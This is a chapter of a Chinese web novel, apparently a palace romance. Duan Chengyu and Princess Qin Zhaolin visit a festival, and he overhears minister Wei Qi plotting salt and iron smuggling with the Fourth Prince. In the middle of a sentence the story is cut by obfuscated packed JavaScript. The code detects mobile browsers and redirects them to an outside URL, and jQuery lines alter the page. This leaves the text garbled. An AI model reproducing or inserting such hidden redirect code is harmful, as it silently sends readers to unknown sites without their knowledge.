风卷着枯叶掠过石阶,檐角的风铃被吹得轻响。阳光斜斜透过窗户,落在案桌上。
段成玉伸手按住乱翻的书页,抬眼看向窗外。
分明前几日还是翠绿的枝叶,此时已经开始枯黄掉落。
快入秋了啊。
他记得段家抄家的那段时日,正是在深秋的时候。
那种刺骨的寒意此时似乎还残留在他的心尖。
他指尖蜷缩了一下,心中想起了远在江南的妹妹。
九公主说,他妹妹那边的事情都已经安排妥当了,已经送到了他外祖的家里。
纵然知道外祖那边会像对待自己一样宠爱妹妹。
他心中依旧还是担心妹妹会不会冷着了。
他想起江南温和的气候,暗自摇了摇头,那边应该还没有这么快入秋。
“公子。”东与端着一碗漆黑的药走了进来。
段成玉接过药碗,瓷白的瓷碗抵在嘴边,却是迟迟没有入口,他余光瞥见东与还站在一旁。
他放下药碗,看向东与,两人四目相对。
东与一脸疑惑:“公子怎么了?快把药喝了吧,不然就凉了。”
段成玉目光低垂,视线落在药碗瓷白的边上:“你看着我,我喝不下。”
东与了然,“哦”了一声便出去了。
待东与再次进来之时,药碗中的药已经见底了,旁边的蜜饯倒是吃得一干二净。
段成玉坐在案桌前,专心地看着手中的书卷。
东与前去见药碗收起来,临走之际瞥了一眼窗台边的蔫巴巴的小绿植。
只是他出去后,立马从胸前掏出许久没有动过笔的小本本,又在上面记录了一笔:段公子第三次倒掉药,不喜汤药,喜欢蜜饯。
秦昭临翻着眼前的小本本,心中不由觉得好笑。
叫他记录段成玉的生活起居,也不是这么记录的啊。
东与瞧着公主的神情不对,以为自己写错了什么,只能小心翼翼地朝着一旁的翘怜打眼色。
翘怜还没来得及回应。
便听见公主嗤笑一声,嘴角微微勾起,饶有兴致地翻看着东与写的东西。
只是翻到最后一页地时候,她的手不自觉顿了顿。
前世的段成玉受了那么重的箭伤,拔箭的时候,可是连眼睛都没有多眨几下。
如今居然会怕小小的汤药。
见公主依旧是不紧不慢地翻着本子,嘴角笑意未停,东与便知,这把稳了。
果不其然,秦昭临合上本子,眼眸中带上了几分满意,薄唇微启,说出了他最想听的那句话:“赏。”
东与低头应声,嘴角的笑意根本就压制不住。
翘连站在一边,看着他这副没有出息的样子,忍不住摇了摇头。
不过。
秦昭临的目光落在窗外的新悬挂上去的灯笼,忽然想起一件事。
好像快到朝阳节了。
她记得朝阳节前后,也就是段成玉的生辰。
————
朝阳节算是皇城中为数不多盛大的节日了,热闹的程度堪比过年。
小孩子最喜欢的就是朝阳节了,这一天会有很多的庙会可以看,甚至还会多上很多新奇的玩意。
江南可没有这个独属于皇城的节日。
他记得他初到皇城的时候,小妹就拉着他说,要和他一起逛朝阳节的花街。
但是还没有来得及,他上一年的朝阳节,是在冰冷的典狱中度过的。
他的衣袖忽然被轻轻一拉,段成玉顺着那只白皙的手往上看去,是秦昭临。
秦昭临似乎全然没有对男女授受不亲的顾忌,一直拉着他的衣摆,甚至还觉得拉着他的衣摆太过费劲,想要拉他的手。
段成玉脸上微热,小心避开她的手。
但秦昭临完全没有在意他的小举动,见一次拉不住,拉了第二次。
这一次很快就拉上了。
但是人却是不动了,秦昭临也停下脚步,转头看去。
段成玉呆在原地,一动也不动。
“怎么了?”秦昭临歪着头,透过面具去看他,面具的流苏在她的耳边晃来晃去。
段成玉抿唇低头。
若不是此刻面上有一张面具遮挡,不然的话他都不敢出去见人了。
虽然有着面具的阻挡,但是秦昭临瞥见了他那红得滴血得耳尖,握着手的也有些僵硬,心中自然明了。
她故意试着坏,不放开,还要故意逗他:“怎么不走了?”
段成玉纠结了一下,刚想开口,却被她打断了:“快走吧,庙会要开始了,不然来不及了。”
说着就要往庙会的方向跑去。
秦昭临抓着他的手不放,他也不敢甩开。
掌心传来柔软的触感,不知是不是跑急了,他的心跳越来越快,像是要跳出他的胸膛。
但是好在庙会的距离不是很远,他们很快就到了。
庙会恰好就在这个时候开始。
鞭炮声炸响,锣鼓升天。
锣鼓的声音一声一声响起,“砰砰砰”地落在他的心上,似乎与他的心跳声重叠在一起。
秦昭临不知何时松开了他的手。
段成玉此时却完全没有心思去看台上的表演。
他抬起手,覆盖在胸口的位置,那是心跳的地方,他感觉自己好像是病了,不然为什么会跳得这么快。
他微微侧头,看向饶有兴致看着台上表演的秦昭临。
心中多出了一种说不清的情愫。
秦昭临恰好这时回头,与他的目光相撞。
她的嘴角轻扬,声音中带着几分戏谑:“你看着我干嘛,我脸上有东西?”
她漆黑的眸子里,清晰地倒映着段成玉的身影,仿佛世间只余下他们二人。
段成玉狼狈地转过头去,他败下阵来:“没有。”他的掌心一片儒湿。
幸好两人脸上都戴着面具,不然他都不知道如何面对她。
秦昭临也回视线,继续看着台上的表演,但是心思却没有放在那上面,余光瞥见他那红透的耳尖,嘴角勾起一抹笑意。
没错,她就是故意的。
段成玉的心思全然不在表演上面,他满身心都在想,早知道今日不出门好了。
幸好他的脸上带了面具,不然可就太失礼了。
他似乎还能察觉到掌心先前细腻柔软的手感。
庙会开场的表演很快就结束,接下来主要就是逛庙会了。
段成玉跟在秦昭临的身后,目光不自觉跟随着她。
段成玉今日是一身白紫色的衣裙,梳着极其简单的珍珠发髻,发尾垂着紫色绸带,随着她的动作摆动。
今日的她,看着倒是格外不同,一点都不像在公主府的时候。
似乎……更加活泼了。
段成玉不自觉摸上脸上的面具,这是他出门的时候,秦昭临硬塞给他的,是一个黑色狐狸的面具,遮住了他大半张脸。
而秦昭临脸上的则是一个白色狐狸的面具。
在朝华节这日,很多贵公子小姐在这天都会出来热闹一下,但是不想让别人认出来,大部分都会带上面具,所以他们两人带着面具走在街上并不罕见。
街上小摊贩也摆出了各种类型的面具,不断吆喝,这也算是朝华节的一种特色。
庙会结束之后,接下来的节目就是花街游行。
一大群人簇拥着中间的坐撵从街的另一头走了过来。
秦昭临驻足观看,段成玉也随着停下。
但是热闹的人群此时正在庆祝,根本不会注意到周围站着的人。
秦昭临站在街边,人群熙熙攘攘地过来,往她的身上撞。
她没站稳往后倒去,段成玉下意识上前一步,将她拥入怀中。
淡淡的莲花香气涌入段成玉的鼻腔之中,他能感觉到自己的心跳瞬间乱了节拍,像小鹿乱撞,一声比一声急。
段成玉揽住她的肩膀,能察觉到她身上的温度,烫手又舍不得放开。
但是熙熙攘攘的人群还未曾散去,依旧往他们身上撞来。
秦昭临靠在他的胸膛上,自然能听见身下传来的如雷的心跳。
殷红的嘴角勾起笑意,像只狡猾的小狐狸,悄悄埋在他怀中。
人群散去后,段成玉像甩开烫手山芋似的,急忙将她松开。
秦昭临看着他红得滴血的耳尖,不由觉得有些好笑。
段成玉看着她微勾的嘴角,耳尖红得更厉害了,垂着眸不敢去看她。
秦昭临倒也不生气,正要拉着他去别处看看。
余光中却瞥见一个意料之外的人,视线不由停住。
全然没有注意到游街的第二波人又过来了。
而另一边的段成玉此时的心绪被填满,也全然没有注意到她的动静。
人潮涌来又散去,秦昭临的身影却是不见了。
他企图在人群中寻找那道紫色的身影,却见乌泱泱的一片,实在难以辨别人在哪里。
他的余光一瞥,顿时凝固住,他看见了那道他刻骨仇恨的身影,此时正从马车上下来,往着酒楼的门口走去。
是他,魏戚。
他脑中瞬间被魏戚填满,但是又看了看人群。
内心纠结了片刻,最终还是选择往酒楼的方向走去。
段成玉戴着面具进酒楼时,被酒楼门口的小二拦住。
“公子可曾有预约?”
段成玉看向酒楼里面,魏戚正在往楼上走去,而楼上是众多包厢。
他眸光微沉,看向店小二:“我要定楼上的雅间。”
狐狸面具下冰冷的眸光看得店小二心中发毛,但是他还是硬着头皮说:“没有预约不给进。”
段成玉将一小块金子塞进店小二的手中,此时店小二看着手心中金灿灿的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177049|180747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一片,哪里还有什么发毛?害怕?
都是不存在的,此时的段成玉在他眼里就是财神爷。
店小二笑得眼睛都看不见了,当即引路:“有的有的,贵客这边请。”
二楼的房间很多,段成玉来晚了一步,不知道魏戚到底进了哪一个包厢。
正在想着要如何找到魏戚的时候。
楼下传来爽朗的声音,段成玉瞬间觉得那道声音有点耳熟。
他躲进方才店小二领他进去的厢房中。
“好好好,好处定然少不了你的。”那道声音由远到近,段成玉听清楚了那道声音。
他听过这个声音,是四皇子。
魏戚和四皇子同时出现在这个酒楼里,绝对不是巧合。
段成玉听见他的脚步停留在右边厢房的位置,似乎是最尽头的那间厢房。
他听见外面没有动静后,这才出去。
走到最里面的厢房去。
果不其然,魏戚的声音从里面传来:“下官拜见四皇子。”
四皇子的声音中带着笑意:“免礼免礼,右相如今你我之间同船共济,不必多礼。”
段成玉正要继续听下去,听见又有人上楼了。
躲进了旁边的厢房中,不知是否魏戚怕他们之间的对话被别人听去,特地预定了两个包厢,门前虽然挂着牌子,但是里面却是空无一人。
这一向符合魏戚多疑的风格。
这个酒楼的隔音倒是挺好的,段成玉只能隐隐约约听见“江南盐铁”“私贩”等字眼。
魏戚身为忠君一党,竟然与四皇子结为党派,背着朝廷私贩盐铁。
要是知道当今圣上可是恨及了朝廷官员私自与皇子结派,若不是魏戚忠君,如今的右丞相之位还轮不到他来坐。
魏戚很谨慎,似乎不想让别人察觉到他与四皇子私下见面,甚至连饭都来不及吃,就先告辞一步了。
段成玉打开包厢门时,正与端着菜的店小二迎面撞上了。
店小二吓了一跳,段成玉走后,他才挠头嘀咕。
他分明记得那位财神爷的包厢不是在这边啊,难道是他记错了?
出到酒楼,人群依旧涌涌,此时时间已经过去了大半的时辰。
也不知道公主在哪里。
段成玉看着眼前依旧拥挤的人群,实在是不知道怎么办。
忽然,他的衣袖忽然被一道力度拉住。
他转头看去,那人一身紫白的衣裙,脸上依旧戴着狐狸面具,此人不是秦昭临,又是谁?
段成玉看到她的这一刻,心里不自觉松了口气。
但是秦昭临看起来似乎有点生气。
不过这生气也是正常,不过一眨眼的功夫,一个大活人就在她的眼皮子底下消失了。
怎么找也找不到,搁谁谁不生气?
段成玉看着一言不发,只顾着拉着他往前走,周身气压低得吓人的秦昭临。
反应迟钝的他哪里还反应不过来,她这是生气了。
只是他不明白,她为什么要生气。
秦昭临自顾自地拉着他走出这条街,见身后之人迟迟没有说话。
心中叹了口气,这才停下脚步,转身看去。
段成玉的脸上虽然带着面具,但是她依旧能透过他的面具,看到他那副疑惑的样子。
这一世的他简直就是个呆瓜!大呆瓜!
段成玉似乎又不明白秦昭临忽然停下,能察觉到她骤变的气压。
他听见她冷哼一声,说了一句:“算了。本宫不同你计较了。”
他又不明白,她计较什么了?
一阵敲锣打鼓的声音打破了他们之间的寂静。
他们都朝着那边看去,是一处猜灯谜的小摊。
老板拿着铜锣,一直在敲,吸引了诸多人的注意:“来来来,走过路过不要错过,都来瞧一瞧。”
“猜中赢奖品,输了也讨一个彩头!”
段成玉鬼使神差地就握住了秦昭临的手腕,将她往小摊那边带去。
秦昭临愣了一瞬间,也没有挣扎,任由着他拉住自己往那边走去。
他们来迟了一步,小摊前此时已经围满了人。
段成玉护着她,往小摊里面挤了进去。
他们之间的气息再次相融,他身上的檀香味与她的莲花味再次交融在一起,在喧闹的人潮中格外清晰,有种说不上的纠缠。
秦昭临一时愣住了,她没有想到他会突然这么主动。
她望着他的侧脸,嘴角悄悄勾起,这难道是开窍了?
他们挤到了前排,才发觉这个猜灯谜的小摊的规则有点特殊,不同于其他直接卖花灯的小摊。
而是猜中直接就可以赢走上面挂着的奖品,若是猜不中就要给一文钱的参与费。
赢了就是赚了,若是输了也不会亏,毕竟只要一文钱,在今天这么大的节日就当是讨个好彩头了。